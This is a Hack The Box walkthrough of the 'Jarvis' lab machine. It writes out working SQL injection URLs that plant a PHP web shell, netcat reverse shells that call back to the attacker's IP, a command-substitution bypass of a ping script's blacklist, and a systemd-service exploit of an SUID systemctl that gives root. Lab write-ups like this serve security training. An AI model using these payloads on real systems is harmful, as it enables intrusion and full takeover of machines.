Hack The Box – Jarvis Walkthrough
Introduction
This was an intermediate Linux machine that involved exploiting a SQL injection vulnerability to gain initial access, a misconfigured Python script to escalate to the “pepper” user and the Systemctl binary with SUID privileges set to escalate to root.
Enumeration
The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:
- -sC to run default scripts
- -sV to enumerate applications versions
This scan has revealed port 22 (SSH) and 80 (HTTP) as open ports. Performing another scan with the -p- flag allows to discover a new port (64999):
After an additional scan on this newly found port it appears to be a web server running Apache:
The next step will be to start enumerating HTTP.
Enumerating HTTP
When accessing the web server through a browser, the following page is displayed:
The next step is to run a scan to find hidden files or directories using Gobuster, with the following flags:
- dir to specify the scan should be done against directories and files
- -u to specify the target URL
- -w to specify the word list to use
- -x to specify the extensions to enumerate
- -t to specify the number of concurrent threads
The scan has identified a PHPMyAdmin interface although default credentiials for it did not seem to work.
When clicking on the “Rooms” link at the top of the page, the following is displayed:
When clicking on a room, the room id is sent as an argument for the request:
When commenting the query using “– -“, the query to display the room is still executed normally, so it means the endpoint is most probably vulnerable to SQL injection:
SQL Injection
An “order by” statement can be used to identify how many fields are present in the current query. When trying to increase the column number each time, it appears to error out when the 8th field is tried, meaning the query has seven fields:
As shown below, when ordering by the 7th field the query works:
A union query can be used to combine additiona query to the one being run and display their result on the page, checking the database version wiith “version()”:
http://10.10.10.143/room.php?cod=0%20UNION%20SELECT%201,version(),3,4,5,6,7
SQL injection can be abused to create a reverse shell on the target machine by using a “SELECT INTO OUTFILE” statement. First of all, checking the current user to make sure it has the required privileges to do so:
http://10.10.10.143/room.php?cod=0%20UNION%20SELECT%201,user,3,4,5,6,7% 20from%20mysql.user
The user appears to be DBadmin. Checking file privileges for the current user to ensure it can edit files, this is done by checking the file_priv column of the mysql.user table:
http://10.10.10.143/room.php?cod=0%20UNION%20SELECT%201,group_concat(user,0x3a,file_priv),3,4,5,6,7%20from%20mysql.user
It appears the DBadmin user is able to edit files.
Ran the following command using the MySQL Select INTO OUTFILEL query to insert a PHP code execution shell into /var/www/html/shell.php, as the site is using Apache this is the default root folder:
http://10.10.10.143/room.php?cod=0%20UNION%20SELECT%201,%22%3C?php %20echo%20system($_REQUEST[%27test%27]);%20?%3E%22,3,4,5,6,7%20into %20outfile%20%27/var/www/html/shell.php%27
Confirmed code execution by accessing the shell.php file on the web server and issuing a command to the test parameter:
The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
Using a simple Netcat reverse shell to connect to the listener:
http://10.10.10.143/shell.php?test=nc%20-e%20/bin/sh%2010.10.14.21%20443
The request was received, granting a reverse shell as the www-data user:
The following steps can be done to obtain an interactive shell:
- Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
- Hitting CTRL+Z to background the process and go back to the local host
- Running “stty raw -echo” on the local host
- Hitting “fg + ENTER” to go back to the reverse shell
Privilege Escalation
When enumerating files and folders on the machine, found the Admin-Utilities folder, which contains a Python script, owned by the “pepper” user:
Looking at the Sudo rules, it appears the www-data user can execute the script as pepper:
The exec_ping function of the script does a simple ping against a provided IP address, although certain characters that could be used to break out of the script and top into a shell are forbidden:
When testing the script, providing the -p flag will prompt the user for a valid IP address, which has to be entered within quotes:
The blacklisted characters are not enough to prevent a shell breakout as the $ symbol can be used for Command substitution in Linux, which allows the output of a command to replace the command itself, for example running “wc -l $(curl http://site.com)” will execute Wc against the output of the Curl command executed for site.com.
The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
Creating a Bash script containing a Netcat reverse shell command that will connect back to the listener, then running the Python script, executing the shell, and passing its output as an IP using Bash command substitution:
The following steps can be done to obtain an interactive shell:
- Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
- Hitting CTRL+Z to background the process and go back to the local host
- Running “stty raw -echo” on the local host
- Hitting “fg + ENTER” to go back to the reverse shell
Now that access as the pepper user is obtained, the last thing left to do is to escalate to root. Transferring the LinPEAS enumeration script using the Python Simple HTTP Server and Wget:
Assigning execute permissions to it and running it:
It appears that the Systemctl binary has the SUID bit set:
After consulting GTFOBins, it appears this can be exploited by creating a service that will execute a command when started, through the “ExecStart” argument:
The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
Creating a new service that will run a Netcat reverse shell when started, and then starting it:
echo '[Service]
>Type=notify
>ExecStart=/bin/sh -c "nc -e /bin/bash 10.10.14.21 443"
>KillMode=process
>Restart=on-faillure
>RestartSec=42s
>[Install]
>WantedBy=multi-user.target' > new.service
sudo systemctl link /home/pepper/new.service
sudo systemctl start new
As expected, a call back was received on the listener, granting root-level access to the machine.
Conclusion
I really enjoyed this machine as the SQL injection vector is something that can be quite common in custom-built web apps, especially in this particular fashion. Although there wasn’t anything new, the privilege escalation part was also quite interesting and very much real-life based.